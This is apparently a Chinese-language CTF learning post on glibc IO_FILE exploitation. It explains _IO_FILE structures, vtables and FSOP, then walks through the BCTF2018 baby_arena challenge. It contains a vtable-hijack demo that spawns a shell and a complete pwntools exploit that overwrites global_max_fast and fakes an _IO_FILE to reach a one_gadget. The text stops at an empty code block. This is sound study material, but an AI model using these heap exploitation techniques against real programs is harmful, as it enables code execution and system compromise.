顺风瞎几把 🐑 ,绝境 IOFILE。

🐑 与非 🐑

👴 太喜欢这个 IO 玩意了,无敌帅。👴 单方面宣布 IO 是 glibc 唯一真神。

感谢 风沐云烟 师傅教我的 IO 一整条利用路线和耐心解答,带我 pwn 进了新世界。fmyy 我追随的光。

基础知识学习

_IO_FILE主要结构

_IO_FILE_plus

首先是_IO_FILE_plus,每个 _IO_FILE 结构体都被包含在一个 _IO_FILE_plus 结构体之中。

1
2
3
4
5
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;//虚函数表
};

其中的 vtable 是指向一系列函数的一张表, _IO_jump_t 结构体结构如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */

FILE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

此外,通过 gdb 我们可以很容易的查看某个 FILE 结构体内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p/x _IO_2_1_stderr_
$1 = {
file = {
_flags = 0xfbad2087,
_IO_read_ptr = 0x7ffff7dce703,
_IO_read_end = 0x7ffff7dce703,
_IO_read_base = 0x7ffff7dce703,
_IO_write_base = 0x7ffff7dce703,
_IO_write_ptr = 0x7ffff7dce703,
_IO_write_end = 0x7ffff7dce703,
_IO_buf_base = 0x7ffff7dce703,
_IO_buf_end = 0x7ffff7dce704,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dce760,
_fileno = 0x2,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = {0x0},
_lock = 0x7ffff7dcf8b0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dcd780,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7ffff7dca2a0
}

_flags 这个位置其实比较关键,后面我们要弄清楚怎么设置的才能进入我们想要的函数,完成相关利用。当然伪造的时候我们都是根据具体函数来精心构造的,但特别好用的有俩:00xfbad1800

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

ray-cp 师傅脚本里偷的结构体的各种偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#ray-cp/pwn_debug/pwn_debug/IO_FILE_plus.py

_IO_FILE_plus_size = {
'i386':0x98,
'amd64':0xe0
}
_IO_FILE_plus = {
'i386':{
0x0:'_flags',
0x4:'_IO_read_ptr',
0x8:'_IO_read_end',
0xc:'_IO_read_base',
0x10:'_IO_write_base',
0x14:'_IO_write_ptr',
0x18:'_IO_write_end',
0x1c:'_IO_buf_base',
0x20:'_IO_buf_end',
0x24:'_IO_save_base',
0x28:'_IO_backup_base',
0x2c:'_IO_save_end',
0x30:'_markers',
0x34:'_chain',
0x38:'_fileno',
0x3c:'_flags2',
0x40:'_old_offset',
0x44:'_cur_column',
0x46:'_vtable_offset',
0x47:'_shortbuf',
0x48:'_lock',
0x4c:'_offset',
0x54:'_codecvt',
0x58:'_wide_data',
0x5c:'_freeres_list',
0x60:'_freeres_buf',
0x64:'__pad5',
0x68:'_mode',
0x6c:'_unused2',
0x94:'vtable'
},

'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
}
}

vtable

vtable 是干啥的? vtable 指针指向的是 👴 这个 IOFILE 结构体对应的函数表,上调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> p/x _IO_2_1_stdin_
$1 = {
file = {
_flags = 0xfbad208b,
_IO_read_ptr = 0x7ffb4188da83,
_IO_read_end = 0x7ffb4188da83,
_IO_read_base = 0x7ffb4188da83,
_IO_write_base = 0x7ffb4188da83,
_IO_write_ptr = 0x7ffb4188da83,
_IO_write_end = 0x7ffb4188da83,
_IO_buf_base = 0x7ffb4188da83,
_IO_buf_end = 0x7ffb4188da84,
...
_lock = 0x7ffb4188f8d0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffb4188dae0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7ffb4188a2a0
}

上面是 stdin 结构体,下面是它的 vtable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p/x *_IO_2_1_stdin_.vtable
$3 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffb4152e330,
__overflow = 0x7ffb4152f300,
__underflow = 0x7ffb4152f020,
__uflow = 0x7ffb415303c0,
__pbackfail = 0x7ffb41531c50,
__xsputn = 0x7ffb4152d930,
__xsgetn = 0x7ffb4152d590,
__seekoff = 0x7ffb4152cb90,
__seekpos = 0x7ffb41530990,
__setbuf = 0x7ffb4152c850,
__sync = 0x7ffb4152c6d0,
__doallocate = 0x7ffb41520100,
__read = 0x7ffb4152d910,
__write = 0x7ffb4152d190,
__seek = 0x7ffb4152c910,
__close = 0x7ffb4152c840,
__stat = 0x7ffb4152d180,
__showmanyc = 0x7ffb41531dd0,
__imbue = 0x7ffb41531de0
}

那么我在 stdin 相关的 IO 函数调用函数指针时就会从 stdin 的 vtable 里面查找相关的函数指针:

1
2
3
4
5
6
   if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //如果输出缓冲区有数据,刷新输出缓冲区

比如这个 _IO_OVERFLOW 就会顺着 👴 的 stdin 的 vtable 摸到 __overflow = 0x7f3f23542790 <_IO_new_file_overflow>

当然这里是调用不了 _IO_OVERFLOW 的,因为 👴 还没 🐑 它,我只是举个例子说明一下。

_IO_list_all 指针

处于 libc 段的 _IO_list_all 指针记录着最近生成的 _IO_FILE_plus 结构体,通过单链表的形式把所有的 _IO_FILE_plus 结构体串联起来。值得注意的是通过河里的改写该指针,可以达到伪造 _IO_FILE 结构体的作用,为进一步的 🐑 做准备。

常用手法是 unsortdebin,Largebin 等 Attack 打 global_max_fast 改大 fastbin 的最大 size,在 _IO_list_all 写堆地址,当然直接对 _IO_list_all 冻手也是可以的,详细的后面会有例题。

IO调用的vtable函数

在这里给出 raycp 师傅总结出的 fopenfreadfwritefclose四个函数会调用的vtable函数。没错,我直接 CV 大师 👦,记不记得下来我不知道,以后起码翻起来方便很多。

fopen函数是在分配空间,建立FILE结构体,未调用vtable中的函数。

fread函数中调用的vtable函数有:

  • _IO_sgetn函数调用了vtable的_IO_file_xsgetn
  • _IO_doallocbuf函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
  • vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
  • __underflow函数调用了vtable中的_IO_new_file_underflow实现文件数据读取。
  • vtable中的_IO_new_file_underflow调用了vtable__GI__IO_file_read最终去执行系统调用read。

fwrite 函数调用的vtable函数有:

  • _IO_fwrite函数调用了vtable的_IO_new_file_xsputn
  • _IO_new_file_xsputn函数调用了vtable中的_IO_new_file_overflow实现缓冲区的建立以及刷新缓冲区。
  • vtable中的_IO_new_file_overflow函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
  • vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
  • new_do_write中的_IO_SYSWRITE调用了vtable_IO_new_file_write最终去执行系统调用write。

fclose函数调用的vtable函数有:

  • 在清空缓冲区的_IO_do_write函数中会调用vtable中的函数。
  • 关闭文件描述符_IO_SYSCLOSE函数为vtable中的__close函数。
  • _IO_FINISH函数为vtable中的__finish函数。

当然,IO 函数远不止这些。其他的 IO 函数内还有很多函数指针被调用了,被各位师傅们发掘出来的已经成了各大 House 了,剩下的只能说随缘看到了就看看能不能利用。

FSOP(File Stream Oriented Programming)

FSOP 贯穿整个 IO 利用,👴 印象中带 OP 俩字不是 O泡 就是 导向编程。排除法得 FSOP 是可以实现类似 ROP 一样的控制流劫持的。

FSOP 主要利用了 _IO_flush_all_lockp 函数,该函数的功能是刷新所有FILE结构体的输出缓冲区,先放一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
#遍历 _IO_list_all
for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //如果输出缓冲区有数据,刷新输出缓冲区
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}

#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif

return result;
}

可以看到关键在于它这里遍历_IO_list_all ,且调用了 _IO_OVERFLOW 这个 vtable 里面的函数。通过劫持这个函数,我们就可以玩一系列的操作。一般思路是在可控区域伪造一个结构体,塞入 _IO_list_all 这个链表里面(🐑 其他结构体的 _chain 指针或者直接 🐑 _IO_list_all 指针)。然后在伪造的结构体处劫持 vtable。

事实上,会_IO_flush_all_lockp调用函数的时机包括:

  • libc执行abort函数时(内存错误)。别的师傅有写到时 libc < 2.26 有效,没具体试过。但是我们可以选择打 Kiwi
  • 程序显式调用 exit 函数时,_exit 不行。但是我们可以打 Kiwi
  • 程序从main函数返回时,结束时直接调 syscall 也不行。但是我们可以打 Kiwi

拿一张 CTF-Wiki 的图,虽然打印出了报错信息,还是执行了 _IO_OVERFLOW 这个函数。所以一顿操作直接打出了错误信息的同时getshell 或者 orw flag 都是基槽。

看下上述三种情况的堆栈,来进一步了解程序的流程。将断点下在_IO_flush_all_lockp,查看栈结构。

Abort 栈回溯

1
2
3
4
5
6
7
8
_IO_flush_all_lockp (do_lock=do_lock@entry=0x0)
__GI_abort ()
__libc_message (do_abort=do_abort@entry=0x2, fmt=fmt@entry=0x7ffff7ba0d58 "*** Error in `%s': %s: 0x%s ***\n")
malloc_printerr (action=0x3, str=0x7ffff7ba0e90 "double free or corruption (top)", ptr=<optimized out>, ar_ptr=<optimized out>)
_int_free (av=0x7ffff7dd4b20 <main_arena>, p=<optimized out>,have_lock=0x0)
main ()
__libc_start_main (main=0x400566 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568)
_start ()

exit 栈回溯

1
2
3
4
5
6
7
_IO_flush_all_lockp (do_lock=do_lock@entry=0x0)
_IO_cleanup ()
__run_exit_handlers (status=0x0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=0x1)
__GI_exit (status=<optimized out>)
main ()
__libc_start_main (main=0x400566 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568)
_start ()

正常退出栈回溯

1
2
3
4
5
6
_IO_flush_all_lockp (do_lock=do_lock@entry=0x0)
_IO_cleanup ()
__run_exit_handlers (status=0x0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=0x1)
__GI_exit (status=<optimized out>)
__libc_start_main (main=0x400526 <main>, argc=0x1, argv=0x7fffffffe578, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe568)
_start ()

看出来程序是在正常从main函数返回后,调用了exit函数,所以最终才调用_IO_flush_all_lockp函数的。所以如果用 syscall 结束那就不行。

常见的利用的方式为——

伪造IO FILE结构体,并利用漏洞将_IO_list_all指向伪造的结构体,或是将该链表中的一个节点(_chain字段)指向伪造的数据,再或者直接 🐑 掉原本的 IO 结构体。

最终触发_IO_flush_all_lockp,我们精心构造结构体绕过一堆检查,调用_IO_OVERFLOW 等函数时实现执行流劫持的意思是你可以合法地构造多个 _chain 把 IO 摁在 exit 等函数退出前反复摩擦(笑)。 👴 就是爱了这一点。

其中绕过检查进入_IO_OVERFLOW的条件是输出缓冲区中存在数据:

1
2
3
4
5
 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))

这个伪造的话,我们只需要如下操作就可以绕过:

1
2
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base

利用艺术鉴赏

Libc <= 2.23

劫持 vtable

这个很好理解,上面有说到 vtable 是一张不寻常的表,很多 io 相关函数都会调用它。那么 👴 只要劫持了 vtable, 🐑 掉某个 IO 函数中关键的函数指针,换成 👴 最爱的 system ,就能搞事情了。

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define system_ptr 0x7ffff7a52390;

int main(void)
{
FILE *fp;
long long *vtable_addr,*fake_vtable;

fp=fopen("123.txt","rw");
fake_vtable=malloc(0x40);

vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset

vtable_addr[0]=(long long)fake_vtable;

memcpy(fp,"sh",3);

fake_vtable[7]=system_ptr; //xsputn

fwrite("hi",2,1,fp);
}

这个直接扬完了是因为 fwrite 调用了_IO_new_file_xsputn 这个函数,而 rdi 默认就是我们的 fp 结构体,所以最后的效果是 system('sh\0');

例题

baby_arena_BCTF2018 <libc2.23>

题目可以点击下载或者去原文 肥猫嘤嘤’s 博客

分析

第一题就写详细点。菜单实现了 allocatedeletelogin 三个功能。

漏洞点函数 login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int login()
{
__int64 *v0; // rax
int num; // eax
__int64 v3; // [rsp+0h] [rbp-10h] BYREF
__int64 *v4; // [rsp+8h] [rbp-8h]

v4 = &user;
if ( flag )
{
LODWORD(v0) = puts("you are already login");
}
else
{
flag = 1;
puts("Please input your name");
get_char(&v3, 16LL);
user = v3;
puts("choice type");
puts("0.clientele");
puts("1.admin");
num = get_num("1.admin", 16LL);
if ( num )
{
if ( num != 1 )
exit(0);
v0 = v4 + 1;
*((_DWORD *)v4 + 2) = 'imda';
*((_WORD *)v0 + 2) = 'n';
}
else
{
v0 = v4 + 1;
v4[1] = 'letneilc';
*((_WORD *)v0 + 4) = 'e';
}
}
return (int)v0;
}

这里有个溢出,可以覆写 v4 ,导致任意地址写 admin 或者 clientele

1
get_char(&v3, 16LL);
Global_Max_Fast

这里也顺带讲一下 Global_Max_Fast 这个玩意,x64 下这个东西通常为 0x80 ,也就是我们平时看到的最大 fastbin 的大小。

利用点就在我们 free 🐑 掉一个 fastbin 范围内的堆块时,在 main_arena 的对应 size 的坑位会记录堆块的地址。但我们大小改的巨大的时候,坑位不够但是 glibc 这个笨比它又不懂,就会造成把 main_arena 往后的对应偏移位置的内容写成我们的堆块地址

我们使用以下公式来计算出目标溢出位置,对应的需要构造的堆块 SIZE,其中的 delta 指的是溢出位置到 fastbinsY 首地址的差值。

1
chunk size = (delta * 2) + 0x20

我们需要 malloc 的大小:

1
2
3
def offset2size(offset):
assert offset % 8 == 0
return (offset * 2) + 0x10

👴 愿称之为霸占你的坑位然后疯狂塞💩。无图言鸾:

一开始还没 free 的时候是这样的:

image-20220524175248002

free 完之后是这样的:

image-20220524175336933

溢出的情形,调试部分再写。

思路
  1. 简单的 Leak libc 之后利用任意写在 global_max_fast 上写 admin 改大我们的 fastbin 大小。
  2. 算好偏移把我们的堆块送到 _IO_list_all 的坑上去,伪造 _IO_FILEvtableexit 触发 FSOP 就结束了。需要注意的是 vtable 是一张函数表,我们为了简单的定位我们需要的函数。选择利用 login 函数同时在 bss 段写上 onegadget。
  3. 这部分并不复杂,具体的我写在下面的调试步骤了。
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from pwn import *
from LibcSearcher import *

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)

def debug(breakpoint=''):
glibc_dir = '~/Exps/Glibc/glibc-2.23/'
gdbscript = 'directory %smalloc/\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio/\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p, gdbscript)
time.sleep(1)

elf = ELF('./baby_arena')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
p = process('./baby_arena')
debug()

def menu(choice):
sla('4.exit\n',str(choice))

def add(size,data=''):
menu(1)
sla('your note size',str(size))
sla('Input your note',str(data))

def dele(id):
menu(2)
sla('Input id:',str(id))

def aw(addr0,addr1):
menu(3)
sea('Please input your name',p64(addr0)+p64(addr1))
sla('1.admin',str(1))

'''
[+]-----Leak the Libc-----[+]
'''
add(0x418) # 0
add(0x1400) # 1
dele(0)
add(0x418) # 0
ru('your note is\n')
libc_leak = uu64(rc(6))
libc_base = libc_leak - 0x3c4b78
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
#libc = ELF('./libc.so.6')
libc = elf.libc
libc.address = libc_base
one_gadget = libc_base + 0xf1247
lg('one_gadget',one_gadget)
_IO_str_jumps = libc_base + 0x3c37a0
sh_addr = libc.search('/bin/sh').next()
system_addr = libc.sym.system
'''
[+]-----Global max fast-----[+]
'''

pause()
aw(one_gadget,libc_base+0x3c67f8-8)
pause()

dele(1)

fake_IO = p64(0xfbad1800) + p64(0)*3
fake_IO += p64(0) + p64(1)
fake_IO = fake_IO.ljust(0xC0,'\0')
fake_IO += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2
fake_IO += p64(0x6020B0 - 0x18)

add(0x1400,fake_IO[0x10:])
dele(1)
pause()
sl('4')

p.interactive()
调试

首先看看 global_max_fast 这部分。

在我们写 admin 之前:

1
2
3
4
5
6
pwndbg> x/10xg &global_max_fast
0x7f6a347977f8 <global_max_fast>: 0x0000000000000080 0x0000000000000000
0x7f6a34797808 <root>: 0x0000000000000000 0x0000000000000000
0x7f6a34797818 <old_realloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f6a34797828 <old_malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f6a34797838 <added_atexit_handler>: 0x0000000000000000 0x0000000000000000

admin 之后:

1
2
3
4
5
6
7
8
pwndbg> x/10xg &global_max_fast
0x7f6a347977f8 <global_max_fast>: 0x0000006e696d6461 0x0000000000000000
0x7f6a34797808 <root>: 0x0000000000000000 0x0000000000000000
0x7f6a34797818 <old_realloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f6a34797828 <old_malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f6a34797838 <added_atexit_handler>: 0x0000000000000000 0x0000000000000000
pwndbg> x/s 0x7f6a347977f8
0x7f6a347977f8 <global_max_fast>: "admin"

释放大堆块前:

1
2
3
4
5
6
7
8
pwndbg> parseheap
addr prev size status fd bk
0x8b9000 0x0 0x420 Used None None
0x8b9420 0x420 0x1410 Used None None
pwndbg> x/xg &_IO_list_all
0x7f6a34796520 <_IO_list_all>: 0x00007f6a34796540
pwndbg> x/xg 0x00007f6a34796540
0x7f6a34796540 <_IO_2_1_stderr_>: 0x00000000fbad2086

释放大堆块后:

1
2
3
4
5
6
pwndbg> parseheap
addr prev size status fd bk
0x8b9000 0x0 0x420 Used None None
0x8b9420 0x420 0x1410 Used None None
pwndbg> x/xg &_IO_list_all
0x7f6a34796520 <_IO_list_all>: 0x00000000008b9420

可以看到我们的 _IO_list_all 成功的被我们堆地址取代了。从而我们控制了遍历 IO 结构体时的整个流程。

其中偏移计算(这里我重新运行了所以和上面地址不同但思路不影响):

1
2
3
4
5
6
7
8
pwndbg> p &main_arena.fastbinsY
$5 = (mfastbinptr (*)[10]) 0x7f8a7d7b0b28 <main_arena+8>
pwndbg> p &_IO_list_all
$6 = (struct _IO_FILE_plus **) 0x7f8a7d7b1520 <_IO_list_all>
pwndbg> p/x 0x7f8a7d7b1520-0x7f8a7d7b0b28
$7 = 0x9f8
pwndbg> p/x 2*0x9f8+0x10
$8 = 0x1400

再用 fp 看看我们伪造的 IO 结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pwndbg> parseheap
addr prev size status fd bk
0x8b9000 0x0 0x420 Used None None
0x8b9420 0x420 0x1410 Used None None
pwndbg> fp 0x8b9420
$1 = {
file = {
_flags = 1056,
_IO_read_ptr = 0x1411 <error: Cannot access memory at address 0x1411>,
_IO_read_end = 0x7f6a34796540 <_IO_2_1_stderr_> "\206 \255", <incomplete sequence \373>,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = "\377\377\377\377", '\000' <repeats 15 times>
},
vtable = 0x602098 <completed>
}

这里的重点是我们劫持的 vtable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p *(const struct _IO_jump_t *)0x602098
$4 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x7f6a344c2247 <exec_comm+2263>,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x8b9010,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}

可以看到 __overflow 位置已经被写上了我们的 onegadget 。

image-20220525000410526

满足进入条件后,在 _IO_cleanup_IO_flush_all_lockp 函数里面会调用结构体 vtable 的 _IO_OVERFLOW 函数,也就是我们提前替代好的 one_gadget

进入 _IO_OVERFLOW 条件:

1
2
3
4
5
6
7
8
  779       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
780 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
781 || (_IO_vtable_offset (fp) == 0
782 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
783 > fp->_wide_data->_IO_write_base))
784 #endif
785 )
786 && _IO_OVERFLOW (fp, EOF) == EOF)

别看这都是 if 判断语句,这玩意遵循一个短路原则,就是如果已经有条件可以判断出 if 为假,就不会去执行剩下的判断语句。所以我们要成功的调用 _IO_OVERFLOW ,就要保证:

1
2
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base

调试部分到此就结束了。

此外,稍微提一句就是这题我们如果在 bss 段写的是 system 的话,结构体也可以这样构造:

1
2
3
